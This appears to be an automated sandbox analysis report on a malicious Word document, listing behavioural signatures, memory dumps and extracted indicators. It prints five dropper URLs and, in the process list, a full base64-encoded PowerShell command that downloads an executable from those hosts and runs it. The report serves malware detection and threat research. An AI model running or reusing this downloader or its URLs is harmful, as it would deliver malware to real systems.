Analysis
- max time kernel
149s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20240426-en - resource tags
- submitted
03/05/2024, 16:24
General
- Target 10eeeeda5f2b36b6db262647d559cc6d_JaffaCakes118.doc
- Size 248KB
- Sample240503-twgq2adh25
- SHA256 578e39ab1110ac1ca9fa793c6fc0a2b8c15e7f370ced0136fa36939c7f23b10b
Malware Config
Extracted
-
ps1
-
exe.dropper
http://decospirit.com/D5ubP/
-
exe.dropper
http://databacknow.com/logos/xsDJR/
-
exe.dropper
http://thienuy.com/wp-snapshots/0kmQW/
-
exe.dropper
http://deparcel.com/catalog/Mg/
-
exe.dropper
http://deselbybowen.com/LAO3/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 6 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\10eeeeda5f2b36b6db262647d559cc6d_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -nop -enc JABuAEQAQgA0AEQAQQB3AFoAPQAoACcAdwBBAEEANABEACcAKwAnAEIAQgBVACcAKQA7ACQAYwBaAEEAUQBBAGsAQgA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABtAEEAQQBDADEAVQA9ACgAJwBoAHQAdABwADoALwAvACcAKwAnAGQAZQBjAG8AcwAnACsAJwBwAGkAcgAnACsAJwBpAHQALgBjAG8AbQAvACcAKwAnAEQAJwArACcANQB1ACcAKwAnAGIAUAAvAEAAJwArACcAaAB0ACcAKwAnAHQAcAA6AC8ALwBkAGEAdABhAGIAYQBjACcAKwAnAGsAbgBvAHcALgBjAG8AJwArACcAbQAvAGwAbwBnAG8AcwAvAHgAcwAnACsAJwBEAEoAUgAnACsAJwAvAEAAaAB0AHQAcAAnACsAJwA6AC8ALwB0AGgAaQBlACcAKwAnAG4AdQB5AC4AJwArACcAYwBvAG0ALwB3ACcAKwAnAHAALQBzACcAKwAnAG4AYQBwAHMAaABvAHQAcwAvACcAKwAnADAAJwArACcAawBtAFEAVwAvAEAAaAB0AHQAJwArACcAcAAnACsAJwA6AC8ALwBkAGUAcABhACcAKwAnAHIAYwBlAGwALgBjACcAKwAnAG8AJwArACcAbQAvAGMAYQB0ACcAKwAnAGEAbABvACcAKwAnAGcALwBNAGcALwAnACsAJwBAAGgAJwArACcAdAB0AHAAOgAnACsAJwAvAC8AJwArACcAZABlACcAKwAnAHMAZQBsAGIAJwArACcAeQBiAG8AdwBlAG4ALgBjAG8AbQAvACcAKwAnAEwAQQBPACcAKwAnADMAJwArACcALwAnACkALgBTAHAAbABpAHQAKAAnAEAAJwApADsAJAB6AFUARAB3AEEAeABDAD0AKAAnAEgARABYAEcAWAAnACsAJwBBAFUAJwApADsAJABtAEEAQgBEAFUAWgAgAD0AIAAoACcAMQAxACcAKwAnADMAJwApADsAJABaAEMAQQBBAEEAQQA9ACgAJwBIAGMAYwBBAGMAQgAnACsAJwBBACcAKQA7ACQAWgBVAEEAWAB3AEEAQQBCAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABtAEEAQgBEAFUAWgArACgAJwAuAGUAJwArACcAeABlACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFoAUQBVAEEAQQBBACAAaQBuACAAJABtAEEAQQBDADEAVQApAHsAdAByAHkAewAkAGMAWgBBAFEAQQBrAEIALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAWgBRAFUAQQBBAEEALAAgACQAWgBVAEEAWAB3AEEAQQBCACkAOwAkAE8ARABjAEQAWAB3AD0AKAAnAHMAQQBEACcAKwAnAF8AJwArACcAQQBBACcAKQA7AEkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAFoAVQBBAFgAdwBBAEEAQgApAC4AbABlAG4AZwB0AGgAIAAtAGcAZQAgADQAMAAwADAAMAApACAAewBJAG4AdgBvAGsAZQAtAEkAdABlAG0AIAAkAFoAVQBBAFgAdwBBAEEAQgA7ACQAaQBfAFEAQQBvAEEAMQBBAD0AKAAnAEIARABEAEQAQQBRAF8AJwArACcARAAnACkAOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAdQBHADEAQQA0AFUAXwBBAD0AKAAnAGwAQQBBACcAKwAnAGsAQQBEACcAKQA7AA==1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
iso690.xsl
__PSScriptPolicyTest_nxmnxh5o.lad.ps1
memory/1408-62-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp
memory/1408-568-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp
memory/1408-563-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp
memory/1408-75-0x000001E7D60F0000-0x000001E7D6112000-memory.dmp
memory/2460-14-0x00007FFF21B20000-0x00007FFF21B30000-memory.dmp
memory/2460-54-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp
memory/2460-9-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp
memory/2460-13-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp
memory/2460-12-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp
memory/2460-0-0x00007FFF23D90000-0x00007FFF23DA0000-memory.dmp
memory/2460-11-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp
memory/2460-10-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp
memory/2460-8-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp
memory/2460-15-0x00007FFF21B20000-0x00007FFF21B30000-memory.dmp
memory/2460-16-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp
memory/2460-19-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp
memory/2460-20-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp
memory/2460-18-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp
memory/2460-17-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp
memory/2460-23-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp
memory/2460-22-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp
memory/2460-21-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp
memory/2460-52-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp
memory/2460-51-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp
memory/2460-50-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp
memory/2460-6-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp
memory/2460-57-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp
memory/2460-56-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp
memory/2460-55-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp
memory/2460-58-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp
memory/2460-7-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp
memory/2460-5-0x00007FFF23D90000-0x00007FFF23DA0000-memory.dmp
memory/2460-4-0x00007FFF23D90000-0x00007FFF23DA0000-memory.dmp
memory/2460-82-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp
memory/2460-3-0x00007FFF63DAD000-0x00007FFF63DAE000-memory.dmp
memory/2460-533-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp
memory/2460-561-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp
memory/2460-562-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp
memory/2460-2-0x00007FFF23D90000-0x00007FFF23DA0000-memory.dmp
memory/2460-1-0x00007FFF23D90000-0x00007FFF23DA0000-memory.dmp
memory/2460-589-0x00007FFF23D90000-0x00007FFF23DA0000-memory.dmp
memory/2460-590-0x00007FFF23D90000-0x00007FFF23DA0000-memory.dmp
memory/2460-588-0x00007FFF23D90000-0x00007FFF23DA0000-memory.dmp
memory/2460-591-0x00007FFF23D90000-0x00007FFF23DA0000-memory.dmp
memory/2460-592-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp